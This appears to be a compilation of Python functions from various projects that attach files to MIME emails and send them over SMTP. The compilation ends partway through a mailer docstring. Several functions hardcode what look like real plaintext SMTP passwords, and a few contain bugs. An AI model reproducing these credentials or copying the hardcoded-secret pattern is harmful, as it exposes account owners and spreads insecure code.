def mail(receiver, subject, abs_path_files): send_addr = '*****@*****.**' password = '******' msg = MIMEMultipart() msg['Subject'] = Header(subject, 'utf-8') msg['From'] = send_addr if isinstance(abs_path_files, str): single_file = list() single_file.append(abs_path_files) abs_path_files = single_file for file in abs_path_files: file_name = os.path.basename(file) att = MIMEBase('application', 'octet-stream', filename=file) att.add_header('Content-disposition', 'attatchment', filename=('utf-8', '', file)) att.set_payload(open(file, 'rb').read()) encoders.encode_base64(att) msg.attach(att) # 发送邮件 smtp = smtplib.SMTP('smtp.exmail.qq.com', 587) smtp.starttls() smtp.login(send_addr, password) smtp.sendmail(send_addr, receiver, msg.as_string()) smtp.quit()
def send_zipped_file(zipped_file, recipients, sender, connectParams): for param in ["host", "port", "user", "pass"]: assert param in connectParams, "must specify mandatory parameter %s" % param themsg = MIMEMultipart() themsg["Subject"] = "TEST: File %s" % zipped_file themsg["To"] = ", ".join(recipients) themsg["From"] = sender themsg.preamble = "I am not using a MIME-aware mail reader.\n" with open(zipped_file, "w+") as zf: # Create the message msg = MIMEBase("application", "zip") msg.set_payload(zf.read()) encoders.encode_base64(msg) msg.add_header("Content-Disposition", "attachment", filename=zipped_file) themsg.attach(msg) themsg = themsg.as_string() # send the message server = smtplib.SMTP(connectParams["host"], connectParams["port"]) server.ehlo() server.starttls() server.login("*****@*****.**", "Opensesami0114") server.sendmail(sender, recipients, themsg) server.quit()
def _attach_files(self, outer): ''' attach file list ''' for attachment in self._attachments: filename = attachment cid = None if (isinstance(attachment, list) or isinstance(attachment, tuple) and len(attachment) == 2): filename, cid = attachment ctype, encoding = mimetypes.guess_type(filename) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) fp = open(filename, 'rb') if maintype == 'text': msg = _MIMEText(fp.read(), _subtype=subtype) elif maintype == 'image': msg = _MIMEImage(fp.read(), _subtype=subtype) elif maintype == 'audio': msg = _MIMEAudio(fp.read(), _subtype=subtype) else: msg = _MIMEBase(maintype, subtype) msg.set_payload(fp.read()) _encoder.encode_base64(msg) fp.close() if cid: msg.add_header('Content-ID', '<%s>' % cid) msg.add_header('Content-Disposition', 'inline') else: msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename)) outer.attach(msg) return
def attach(self, filename, content, content_type=None): if not self.multipart: msg = self.new_message() msg.add_header("Content-Type", "multipart/mixed") msg.attach(self.message) self.message = msg self.multipart = True import mimetypes try: from email import encoders except: from email import Encoders as encoders content_type = content_type or mimetypes.guess_type(filename)[0] or "applcation/octet-stream" msg = self.new_message() msg.set_payload(content) msg.add_header('Content-Type', content_type) msg.add_header('Content-Disposition', 'attachment', filename=filename) if not content_type.startswith("text/"): encoders.encode_base64(msg) self.message.attach(msg)
def email(): hashed="43657166f4c72d25ef02dd2b82afb72b58860f1aeda068a45c2a7353962fb57ffa98db5231457318d6ffae8d6bcd56540f2fd871e3053486edd1e305c571af19" #passw= passwd(hashed) month="{:%B %Y}".format(datetime.date.today()) fromaddr = "*****@*****.**" toaddr = ['*****@*****.**'] #toaddr = ['*****@*****.**', '*****@*****.**', '*****@*****.**','*****@*****.**'] msg = MIMEMultipart() msg['From'] = fromaddr #msg['To'] = toaddr msg['To'] = ",".join(toaddr) msg['Subject'] = "Vet Lounge Traffic of %s" % month body = "DO NOT reply this email. This is an automatic generated email with traffic data for veterans lounge. Should you have any question, please email [email protected]." msg.attach(MIMEText(body, 'plain')) filename = "%s.xlsx" %month #filename = "August.xlsx" attachment = open("/Users/johnjayveterans/Desktop/summer_project/testing.xlsx", "rb") #attachment = open("/Users/garytsai/Desktop/rfid-reader-http/summer_project/testing.xlsx", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(fromaddr, "%s" % passwd(hashed)) text = msg.as_string() server.sendmail(fromaddr, toaddr, text) server.quit()
def send_raw_email(self, **kwargs): ''' still in dev ''' msg_all = MIMEMultipart() msg_all['From'] = kwargs['source'] msg_all['To'] = kwargs['to_addresses'] msg_all['Subject'] = kwargs['subject'] msg_all.attach(MIMEText("""123國<br><a href="http://toomore.net/">link</a>""", 'html', 'utf-8')) ics = render_ics( title=u'吃火鍋', description=u'冬天到了要吃火鍋!', location=u'台北市中正區衡陽路51號', start=datetime(2015, 1, 29, 10), end=datetime(2015, 1, 29, 18, 30), created=None, admin=u'Toomore', admin_mail=u'*****@*****.**', url=u'http://toomore.net/' ) attachment = MIMEBase('text', 'calendar; name=calendar.ics; method=REQUEST; charset=UTF-8') attachment.set_payload(ics.encode('utf-8')) encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment; filename=%s' % "calendar.ics") msg_all.attach(attachment) return super(AwsSESTools, self).send_raw_email(msg_all.as_string(), kwargs['source'])
def create_part(key, fileobject, content_type, multiple=False): """Create and return a multipart part as to given file data. key -- Field name. fileobject -- The file-like object to add to the part. content_type -- Content-type of the file. If None, use default. multiple -- If true, use Content-Disposition: file. """ if not content_type: content_type = DEFAULT_CONTENT_TYPE (maintype, subtype) = content_type.split("/") part = MIMEBase(maintype, subtype) part.set_payload(fileobject.read()) encode_base64(part) filename = getattr(fileobject, "name", None) kwargs = dict() if multiple: # RFC 2388 Returning Values from Forms: multipart/form-data # The original local file name may be supplied as well, either as # a "filename" parameter either of the "content-disposition: # form-data" header or, in the case of multiple files, in a # "content-disposition: file" header of the subpart. kwargs["disposition"] = "file" add_disposition(part, key, filename, **kwargs) return part
def send_file_via_mail(file, subject, message, mail_to, mail_from, smtp_server, smtp_port, mail_password_env_name): msg = MIMEMultipart() msg['From'] = mail_from msg['To'] = mail_to msg['Subject'] = subject body = message msg.attach(MIMEText(body, 'plain')) filename = file attachment = open(filename, "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) server = smtplib.SMTP(smtp_server, smtp_port) server.starttls() server.login(mail_from, os.getenv(mail_password_env_name)) text = msg.as_string() server.sendmail(mail_from, mail_to, text) server.quit()
def _add_attachment(self, outer, filename, cid): ctype, encoding = mimetypes.guess_type(filename) if ctype is None or encoding is not None: # No guess could be made, or the file is encoded (compressed), so # use a generic bag-of-bits type. ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) fp = open(filename, 'rb') if maintype == 'text': # Note: we should handle calculating the charset msg = MIMEText(fp.read(), _subtype=subtype) elif maintype == 'image': msg = MIMEImage(fp.read(), _subtype=subtype) elif maintype == 'audio': msg = MIMEAudio(fp.read(), _subtype=subtype) else: msg = MIMEBase(maintype, subtype) msg.set_payload(fp.read()) # Encode the payload using Base64 encoders.encode_base64(msg) fp.close() # Set the content-ID header if cid: msg.add_header('Content-ID', '<%s>' % cid) msg.add_header('Content-Disposition', 'inline') else: # Set the filename parameter msg.add_header('Content-Disposition', 'attachment', filename=path.basename(filename)) outer.attach(msg)
def __atach_files(self, msg, attachment_files): if isinstance(attachment_files, dict): for f_name, msg_file in attachment_files.items(): ctype, encoding = mimetypes.guess_type(f_name) logging.info("guessing file %s type based on %s", ctype, f_name) if ctype is None or encoding is not None: # No guess could be made, or the file is encoded # (compressed), so use a generic bag-of-bits type. ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': # Note: we should handle calculating the charset file_part = MIMEText(self.get_content(msg_file), _subtype=subtype) elif maintype == 'image': file_part = MIMEImage(self.get_content(msg_file), _subtype=subtype) elif maintype == 'audio': file_part = MIMEAudio(self.get_content(msg_file), _subtype=subtype) else: file_part = MIMEBase(maintype, subtype) file_part.set_payload(self.get_content(msg_file)) # Encode the payload using Base64 encoders.encode_base64(msg) # Set the filename parameter file_part.add_header('Content-Disposition', 'attachment', filename=f_name) file_part.add_header('Content-Type', ctype, name=f_name) msg.attach(file_part) else: raise Exception('Attachment files should be' 'a dict in format {"filename":"filepath"}')
def build_msg(path_file, attachment=True): try: if attachment: base_name = os.path.basename(path_file) ctype, encoding = mimetypes.guess_type(path_file) if ctype is None or encoding is not None: # No guess could be made, or the file is encoded (compressed), so # use a generic bag-of-bits type. ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': fp = open(path_file, 'rb') # Note: we should handle calculating the charset msg = MIMEText(fp.read(), _subtype=subtype) fp.close() else: fp = open(path_file, 'rb') msg = MIMEBase(maintype, subtype) msg.set_payload(fp.read()) fp.close() # Encode the payload using Base64 encoders.encode_base64(msg) # Set the filename parameter msg.add_header('Content-Disposition', 'attachment', filename=base_name) else: fp = open(path_file, 'rb') msg = MIMEText(fp.read()) fp.close() return msg except: return None
def send(subject, text, sender=SENDER, recipients=[RECIPIENT], attachments={}, smtp_host=SMTP_HOST, encoding=ENCODING): # encode all strings in binary strings subject = _binary(subject) text = _binary(text) sender = _binary(sender) if not isinstance(recipients, list): recipients = [recipients] recipients = _binary(recipients) # build the message message = MIMEMultipart() message['Subject'] = subject message['From'] = sender message['To'] = ', '.join(recipients) # attach text part message.attach(MIMEText(text, _charset=encoding)) # attach attachments if any for name,filename in attachments.items(): part = MIMEBase('application', 'octet-stream') part.set_payload(open(filename,"rb").read()) encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % name) message.attach(part) smtp = smtplib.SMTP(smtp_host) smtp.sendmail(sender, recipients, message.as_string()) smtp.quit()
def create_email(to, fr, body, subject=None, attachments=None): """ Creates a multipart MIME email to 'to' and from 'fr'. Both of which must be valid email addresses """ msg = Multipart.MIMEMultipart() if 'winlink' in to: subject = '//WL2K R/%s' % subject msg['Subject'] = subject or '(no subject)' msg['From'] = fr if isinstance(to, list): to = ','.join(to) msg['To'] = to body = MIMEText(body, 'plain') msg.attach(body) if attachments is not None: for attach_name, attach in attachments.iteritems(): part = mime.base.MIMEBase('application', "octet-stream") part.set_payload(attach.read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % attach_name) msg.attach(part) return msg
def add_file(self, path): attach = MIMEBase("application", "octet-stream") with open(path, "rb") as f: attach.set_payload(f.read()) encoders.encode_base64(attach) attach.add_header("content-disposition", "attachment", filename=os.path.basename(path)) self._attachs.append(attach)
def adiciona_anexo(msg, filename): if not os.path.isfile(filename): return ctype, encoding = mimetypes.guess_type(filename) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filename) as f: mime = MIMEText(f.read(), _subtype=subtype) elif maintype == 'image': with open(filename, 'rb') as f: mime = MIMEImage(f.read(), _subtype=subtype) elif maintype == 'audio': with open(filename, 'rb') as f: mime = MIMEAudio(f.read(), _subtype=subtype) else: with open(filename, 'rb') as f: mime = MIMEBase(maintype, subtype) mime.set_payload(f.read()) encoders.encode_base64(mime) mime.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(mime)
def _create_mime_attachment(self, content, mimetype): """ Converts the content, mimetype pair into a MIME attachment object. If the mimetype is message/rfc822, content may be an email.Message or EmailMessage object, as well as a str. """ basetype, subtype = mimetype.split('/', 1) if basetype == 'text': encoding = self.encoding or settings.DEFAULT_CHARSET attachment = SafeMIMEText(content, subtype, encoding) elif basetype == 'message' and subtype == 'rfc822': # Bug #18967: per RFC2046 s5.2.1, message/rfc822 attachments # must not be base64 encoded. if isinstance(content, EmailMessage): # convert content into an email.Message first content = content.message() elif not isinstance(content, Message): # For compatibility with existing code, parse the message # into an email.Message object if it is not one already. content = message_from_string(content) attachment = SafeMIMEMessage(content, subtype) else: # Encode non-text attachments with base64. attachment = MIMEBase(basetype, subtype) attachment.set_payload(content) Encoders.encode_base64(attachment) return attachment
def send_email_with_pic(sub, content, to_list=mailto_list): me = "Me" + "<" + mail_user + "@" + mail_postfix + ">" # Create message container - the correct MIME type is multipart/alternative. outer = MIMEMultipart('alternative') outer['Subject'] = sub outer['From'] = me outer['To'] = ";".join(mailto_list) outer.attach(MIMEText('<html><body><h1>Hello</h1>' + '<p> <img src="cid:0"> </p>' + '</body></html>', 'html')) with open('test.png', 'rb') as f: # 设置附件的MIME和文件名,这里是png类型: mime = MIMEBase('image', 'png', filename='test.png') # 加上必要的头信息: mime.add_header('Content-Disposition', 'attachment', filename='test.png') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') # 把附件的内容读进来: mime.set_payload(f.read()) # 用Base64编码: encoders.encode_base64(mime) # 添加到MIMEMultipart: outer.attach(mime) server = smtplib.SMTP(mail_host,25) server.set_debuglevel(1) try: # server.connect(mail_host) server.login(mail_user, mail_pass) server.sendmail(me, to_list, outer.as_string()) finally: server.close() return True
def sendemail(templatedir, templatefile, subject, sender, receiver, game, player=None, pdfpath=None): try: outer = MIMEMultipart() outer['Subject'] = subject outer['From'] = sender outer['To'] = receiver outer['Date'] = email.utils.formatdate() outer['Message-Id'] = email.utils.make_msgid('hades') outer.preamble = '' text = MIMEText( str(mailstream(templatedir, templatefile, game=game, player=player)), 'plain', 'utf-8') outer.attach(text) if pdfpath is not None: ctype, encoding = mimetypes.guess_type(pdfpath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) fp = open(pdfpath, 'rb') attach = MIMEBase(maintype, subtype) attach.set_payload(fp.read()) fp.close() encoders.encode_base64(attach) attach.add_header('Content-Disposition', 'attachment', filename='auftrag.pdf') outer.attach(attach) s = smtplib.SMTP('localhost') s.sendmail(sender, [receiver], outer.as_string()) s.quit() except Exception as e: errprint("ERROR: Cannot send mail to receiver %s" % receiver) errprint(e) pass
def attachAttachment(self, mainContentType, subContentType, data, file_name=None, file_name_encoding=None): assert isinstance(self.msg, MIMEMultipart) part = MIMEBase(mainContentType, subContentType) part.set_payload(data) encoders.encode_base64(part) if file_name: if file_name_encoding: # I would like to use a more simple implementation here based # on part.add_header, but the encoding mechanism provided for # that gives a different output, placing the filename in # Content-Disposition, with it subtly differently encoded. # This doesn't match a real-world problematic email which was # observed like this: # # Content-Type: APPLICATION/pdf; NAME="=?UTF-8?Q?123.pdf?=" # Content-Transfer-Encoding: QUOTED-PRINTABLE # Content-Disposition: attachment header = mainContentType + '/' + subContentType header += '; name="' + Header(os.path.basename(file_name), file_name_encoding).encode() + '"' del part['Content-Type'] part['Content-Type'] = header part.add_header('Content-Disposition', 'attachment') else: part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file_name)) else: part.add_header('Content-Disposition', 'inline') self.msg.attach(part)
def mime_class(maintype,subtype, f): ''' Return the mime type class''' if maintype == 'text': fp = open(f) # Note: we should handle calculating the charset msg = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': fp = open(f, 'rb') msg = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': fp = open(f, 'rb') msg = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: fp = open(f, 'rb') msg = MIMEBase(maintype, subtype) msg.set_payload(fp.read()) fp.close() # Encode the payload using Base64 encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=f) return msg
def createAttachment(filename, data): # Guess the content type based on the file's extension. Encoding # will be ignored, although we should check for simple things like # gzip'd or compressed files. ctype, encoding = mimetypes.guess_type(filename) if ctype is None or encoding is not None: # No guess could be made, or the file is encoded (compressed), so # use a generic bag-of-bits type. ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': # Note: we should handle calculating the charset msg = MIMEText(data.read(), _subtype=subtype) elif maintype == 'image': msg = MIMEImage(data.read(), _subtype=subtype) elif maintype == 'audio': msg = MIMEAudio(data.read(), _subtype=subtype) else: msg = MIMEBase(maintype, subtype) msg.set_payload(data.read()) # Encode the payload using Base64 encoders.encode_base64(msg) # Set the filename parameter msg.add_header('Content-Disposition', 'attachment', filename=filename) return msg
def send_mail(send_from, send_to, subject, text, server, email_password, files=[], hide=False): assert type(send_to)==list assert type(files)==list assert type(hide)==bool msg = MIMEMultipart() msg['From'] = send_from if not hide: # Basically BCC the messages by leaving this out. msg['To'] = ', '.join(send_to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach( MIMEText(text) ) for f in files: part = MIMEBase('application', "octet-stream") part.set_payload( open(f,"rb").read() ) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f)) msg.attach(part) smtp = smtp = smtplib.SMTP_SSL(server, 465) smtp.login(send_from, email_password) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.close()
def prompt_email_and_send(files, type): with open('credentials.txt', 'r') as f: login_email = f.readline().rstrip() login_password = f.readline().rstrip() msg = MIMEMultipart() msg['From'] = login_email msg['To'] = input("Your email address?") msg['Subject'] = "ADB-script Logs - "+device_name+" - "+type attachment=zip_attach(files) msg.attach(MIMEText("Here are your logs.")) part = MIMEBase('application', 'octet-stream') part.set_payload(open(attachment, 'rb').read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attachment)) msg.attach(part) try: server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(login_email, login_password) print("Sending mail... This might take a while.") server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() print("Successfully sent email.") except SMTPException: print("Error: unable to send email.")
def derive_email(): sender = '*****@*****.**' # school email receivers = input("Email address of .zip file recipient: ") password = getpass.getpass() #hidden input message = MIMEMultipart() message["From"] = sender message["To"] = receivers message["Subject"] = "[CSC 344 - Michael Phillips] Assignments Submission" message.attach(MIMEText("This is my submission of the CSC 344 assignments as a .zip file")) part = MIMEBase('application', 'octet-stream') part.set_payload(open("assignments.zip", 'rb').read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="assignments.zip"') message.attach(part) try: smtpObj = smtplib.SMTP("smtp.gmail.com", 587) smtpObj.ehlo(); smtpObj.starttls(); smtpObj.ehlo(); smtpObj.login(sender, password) smtpObj.sendmail(sender, receivers, message.as_string()) smtpObj.close() print("Successfully sent email") except smtplib.SMTPException: print("Error: unable to send email")
def enviar_correos(self, pathfirma , partner, data): msg = MIMEMultipart() destinatario = ['%s <%s>' % (partner.name,partner.email) ] msg['To'] = '%s' % partner.email msg['From'] = '*****@*****.**' msg['Subject'] = 'factura numero %s' % str(data.number) name_file = 'DTE_PRUEBA_%s.xml' % str(datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S")) msg.attach(MIMEText(""" Estimado cliente adjunto factura N°<h3>%s</h3></br> sub total: %s</br> impuesto: %s</br> total: %s</br>"""%(str(data.number),str(data.amount_untaxed),str(data.amount_tax),str(data.amount_total)) ,'html')) adjunto = MIMEBase('multipart', 'mixed') with open(pathfirma, 'r') as myfile: adjunto.set_payload(myfile.read()) myfile.close() encoders.encode_base64(adjunto) adjunto.add_header('Content-Disposition', 'attachment', filename='factura.xml') msg.attach(adjunto) mailServer = smtplib.SMTP('mail.econube.cl', 26) mailServer.set_debuglevel(1) mailServer.ehlo() mailServer.starttls() mailServer.login("*****@*****.**","dte2015") mailServer.sendmail("*****@*****.**", destinatario, msg.as_string()) mailServer.quit()
def msg_att(message, filename): ctype, encoding = mimetypes.guess_type(filename) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': f = open(filename) msg = MIMEText(f.read()) f.close() elif maintype == 'audio': f = open(filename, 'rb') msg = MIMEAudio(f.read(), _subtype = subtype) f.close() elif maintype == 'image': f = open(filename, 'rb') msg = MIMEImage(f.read(), _subtype = subtype) f.close() elif maintype == 'application': f = open(filename) msg = MIMEApplication(f.read(), _subtype = subtype) f.close() else: f = open(filename, 'rb') msg = MIMEBase(f.read(), _subtype = subtype) f.close() encoders.encode_base64(msg) return message.attach(msg)
def sendmail(self,recipient = None): if not recipient is None: self.recipient = recipient # set mail type send_mail_msg = MIMEMultipart() send_mail_msg['Subject'] = self.subject send_mail_msg['To'] = self.recipient send_mail_msg['From'] = self.mailfrom # set mail body Contents = MIMEText(self.body.encode('utf-8'),'html','utf-8') send_mail_msg.attach(Contents) if not self.attach is None: # set mail attach fp = open(self.attach, "rb") attachment = MIMEBase("application", "octet-stream") attachment.set_payload(fp.read()) fp.close() encoders.encode_base64(attachment) attachment.add_header("Content-Disposition", "attachment", filename=self.attach) send_mail_msg.attach(attachment) # connect to smtp server smtp = smtplib.SMTP(self.smtphost) # login smtp smtp.login(self.mailfrom,self.password) # send mail smtp.sendmail(self.mailfrom, self.recipient, send_mail_msg.as_string()) # quit server smtp.quit() print "Successfully." return
def _add_attachment(mime, path): content_type, encoding = mimetypes.guess_type(path) if content_type is None or encoding is not None: content_type = 'application/octet-stream' main_type, sub_type = content_type.split('/', 1) with open(path, 'rb') as f: contents = f.read() if main_type == 'text': mime_cls = MIMEText elif main_type == 'image': mime_cls = MIMEImage elif main_type == 'audio': mime_cls = MIMEAudio else: mime_cls = MIMEBase if mime_cls is MIMEBase: msg = mime_cls(main_type, sub_type) msg.set_payload(contents) # Encode the payload using Base64. This line is from here: # https://docs.python.org/3/library/email-examples.html encoders.encode_base64(msg) else: msg = mime_cls(contents, _subtype=sub_type) filename = os.path.basename(path) msg.add_header('Content-Disposition', 'attachment', filename=filename) mime.attach(msg)
def _message(self): """Creates the email""" ascii_attachments = current_app.extensions['mail'].ascii_attachments encoding = self.charset or 'utf-8' attachments = self.attachments or [] if len(attachments) == 0 and not self.alts: # No html content and zero attachments means plain text msg = self._mimetext(self.body) elif len(attachments) > 0 and not self.alts: # No html and at least one attachment means multipart msg = MIMEMultipart() msg.attach(self._mimetext(self.body)) else: # Anything else msg = MIMEMultipart() alternative = MIMEMultipart('alternative') alternative.attach(self._mimetext(self.body, 'plain')) for mimetype, content in self.alts.items(): alternative.attach(self._mimetext(content, mimetype)) msg.attach(alternative) if self.subject: msg['Subject'] = sanitize_subject(force_text(self.subject), encoding) msg['From'] = sanitize_address(self.sender, encoding) msg['To'] = ', '.join( list(set(sanitize_addresses(self.recipients, encoding)))) msg['Date'] = formatdate(self.date, localtime=True) # see RFC 5322 section 3.6.4. msg['Message-ID'] = self.msgId if self.cc: msg['Cc'] = ', '.join( list(set(sanitize_addresses(self.cc, encoding)))) if self.reply_to: msg['Reply-To'] = sanitize_address(self.reply_to, encoding) if self.extra_headers: for k, v in self.extra_headers.items(): msg[k] = v SPACES = re.compile(r'[\s]+', re.UNICODE) for attachment in attachments: f = MIMEBase(*attachment.content_type.split('/')) f.set_payload(attachment.data) encode_base64(f) filename = attachment.filename if filename and ascii_attachments: # force filename to ascii filename = unicodedata.normalize('NFKD', filename) filename = filename.encode('ascii', 'ignore').decode('ascii') filename = SPACES.sub(u' ', filename).strip() try: filename and filename.encode('ascii') except UnicodeEncodeError: if not PY3: filename = filename.encode('utf8') filename = ('UTF8', '', filename) f.add_header('Content-Disposition', attachment.disposition, filename=filename) for key, value in attachment.headers.items(): f.add_header(key, value) msg.attach(f) if message_policy: msg.policy = message_policy return msg
def send_invite(param): CRLF = "\r\n" attendees = param['to'] #attendees = "" try: #for att in param['to']: att = param['to'] #attendees += "ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=NEEDS-ACTION;RSVP=TRUE;CN="+att+";X-NUM-GUESTS=0:mailto:"+att+CRLF except Exception as e: print(e) fro = "*****@*****.**" msg = MIMEMultipart('mixed') msg['Reply-To'] = fro msg['Date'] = formatdate(localtime=True) msg['Subject'] = 'Vikas:Meeting invitation from Vikas' msg['From'] = fro msg['To'] = attendees __location__ = os.path.realpath( os.path.join(os.getcwd(), os.path.dirname(__file__))) f = os.path.join(__location__, 'invite.ics') ics_content = open(f).read() try: replaced_contents = ics_content.replace('startTime', param['startTime']) replaced_contents = replaced_contents.replace('endTime', param['endTime']) replaced_contents = replaced_contents.replace('meetingDate', param['meetingDate']) replaced_contents = replaced_contents.replace('telephonic', param['location']) #replaced_contents = replaced_contents.replace('now', datetime.datetime.now().strftime("%Y%m%dT%H%M%SZ")) except Exception as e: print(e) if param.get('description') is not None: replaced_contents = replaced_contents.replace('describe', param.get('description')) else: replaced_contents = replaced_contents.replace('describe', '') replaced_contents = replaced_contents.replace('attend', msg['To']) replaced_contents = replaced_contents.replace('subject', param['subject_meeting']) part_email = MIMEText(replaced_contents, 'calendar;method=REQUEST') msgAlternative = MIMEMultipart('alternative') ical_atch = MIMEBase('text/calendar', ' ;name="%s"' % "invitation.ics") ical_atch.set_payload(replaced_contents) encoders.encode_base64(ical_atch) ical_atch.add_header('Content-Disposition', 'attachment; filename="%s"' % f) msgAlternative.attach(part_email) msgAlternative.attach(ical_atch) msg.attach(msgAlternative) mailServer = smtplib.SMTP('smtp-mail.outlook.com', 587) mailServer.ehlo() mailServer.starttls() mailServer.ehlo() mailServer.login('*****@*****.**', 'rahul@938935') mailServer.sendmail(fro, param['to'], msg.as_string()) mailServer.close()
def TrackImages(): recognizer = cv2.face.LBPHFaceRecognizer_create( ) #cv2.createLBPHFaceRecognizer() recognizer.read("Trainner.yml") harcascadePath = "haarcascade_frontalface_default.xml" faceCascade = cv2.CascadeClassifier(harcascadePath) df = pd.read_csv("StudentDetails\StudentDetails.csv") cam = cv2.VideoCapture(0) font = cv2.FONT_HERSHEY_SIMPLEX col_names = ['Id', 'Name', 'Date', 'Time'] attendance = pd.DataFrame(columns=col_names) while True: ret, im = cam.read() gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY) faces = faceCascade.detectMultiScale(gray, 1.2, 5) for (x, y, w, h) in faces: cv2.rectangle(im, (x, y), (x + w, y + h), (225, 0, 0), 2) Id, conf = recognizer.predict(gray[y:y + h, x:x + w]) if (conf < 50): ts = time.time() date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d') timeStamp = datetime.datetime.fromtimestamp(ts).strftime( '%H:%M:%S') tt = str(Id) #aa=df.loc[df['Id'] == Id]['Name'].values #tt=str(Id)+"-"+aa #attendance.loc[len(attendance)] = [Id,aa,date,timeStamp] attendance.loc[len(attendance)] = [ Id, tt, date, timeStamp ] # هنا نقص ب ال aa افتح الكيت و جيمة else: Id = 'Unknown' tt = str(Id) if (conf > 75): noOfFile = len(os.listdir("ImagesUnknown")) + 1 cv2.imwrite("ImagesUnknown\Image" + str(noOfFile) + ".jpg", im[y:y + h, x:x + w]) cv2.putText(im, str(tt), (x, y + h), font, 1, (255, 255, 255), 2) attendance = attendance.drop_duplicates(subset=['Id'], keep='first') cv2.imshow('im', im) if (cv2.waitKey(1) == ord('q')): break ts = time.time() date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d') timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S') Hour, Minute, Second = timeStamp.split(":") fileName = "Attendance\Attendance_" + date + "_" + Hour + "-" + Minute + "-" + Second + ".csv" attendance.to_csv(fileName, index=False) cam.release() cv2.destroyAllWindows() print(attendance) res = attendance message2.configure(text=res) email_sender = '*****@*****.**' email_receiver = '*****@*****.**' subject = 'attendance System!' msg = MIMEMultipart() msg['From'] = email_sender msg['To'] = email_receiver msg['Subject'] = subject body = 'attendance System!sheat' msg.attach(MIMEText(body, 'plain')) attachment = open(fileName, 'rb') #//for opening file, file is open in read mode #//A MIME attachment with the content type "application/octet-stream" is a binary file. #//Typically, it will be an application or a document that must be opened in an application, such as a spreadsheet or word processor. #// If the attachment has a filename extension associated with it, you may be able to tell what kind of file it is part = MIMEBase('application', 'octet_stream') part.set_payload((attachment).read()) #//Base64 encoding schemes are commonly used when there is a need to encode binary data #//that needs be stored and transferred over media that are designed to deal with textual data. encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= " + fileName) # //add the file to the header msg.attach(part) # //attach the attachment to the message text = msg.as_string() connection = smtplib.SMTP('smtp.gmail.com', 587) connection.starttls() connection.login(email_sender, '07723554737') connection.sendmail(email_sender, email_receiver, text) connection.quit()
def send( self, to, subject="[no subject]", body="[no body]", sender=None, attachments=None, cc=None, bcc=None, reply_to=None, encoding="utf-8", raw=False, headers={}, from_address=None, cipher_type=None, sign=None, sign_passphrase=None, encrypt=None, x509_sign_keyfile=None, x509_sign_chainfile=None, x509_sign_certfile=None, x509_crypt_certfiles=None, x509_nocerts=None, ): """ Sends an email using data specified in constructor Args: to: list or tuple of receiver addresses; will also accept single object subject: subject of the email body: email body text; depends on type of passed object: - if 2-list or 2-tuple is passed: first element will be source of plain text while second of html text; - otherwise: object will be the only source of plain text and html source will be set to None If text or html source is: - None: content part will be ignored, - string: content part will be set to it, - file-like object: content part will be fetched from it using it's read() method attachments: list or tuple of Mailer.Attachment objects; will also accept single object cc: list or tuple of carbon copy receiver addresses; will also accept single object bcc: list or tuple of blind carbon copy receiver addresses; will also accept single object reply_to: address to which reply should be composed encoding: encoding of all strings passed to this method (including message bodies) headers: dictionary of headers to refine the headers just before sending mail, e.g. `{'X-Mailer' : 'web2py mailer'}` from_address: address to appear in the 'From:' header, this is not the envelope sender. If not specified the sender will be used cipher_type : gpg - need a python-pyme package and gpgme lib x509 - smime gpg_home : you can set a GNUPGHOME environment variable to specify home of gnupg sign : sign the message (True or False) sign_passphrase : passphrase for key signing encrypt : encrypt the message (True or False). It defaults to True. ... x509 only ... x509_sign_keyfile : the signers private key filename or string containing the key. (PEM format) x509_sign_certfile: the signers certificate filename or string containing the cert. (PEM format) x509_sign_chainfile: sets the optional all-in-one file where you can assemble the certificates of Certification Authorities (CA) which form the certificate chain of email certificate. It can be a string containing the certs to. (PEM format) x509_nocerts : if True then no attached certificate in mail x509_crypt_certfiles: the certificates file or strings to encrypt the messages with can be a file name / string or a list of file names / strings (PEM format) Examples: Send plain text message to single address:: mail.send('*****@*****.**', 'Message 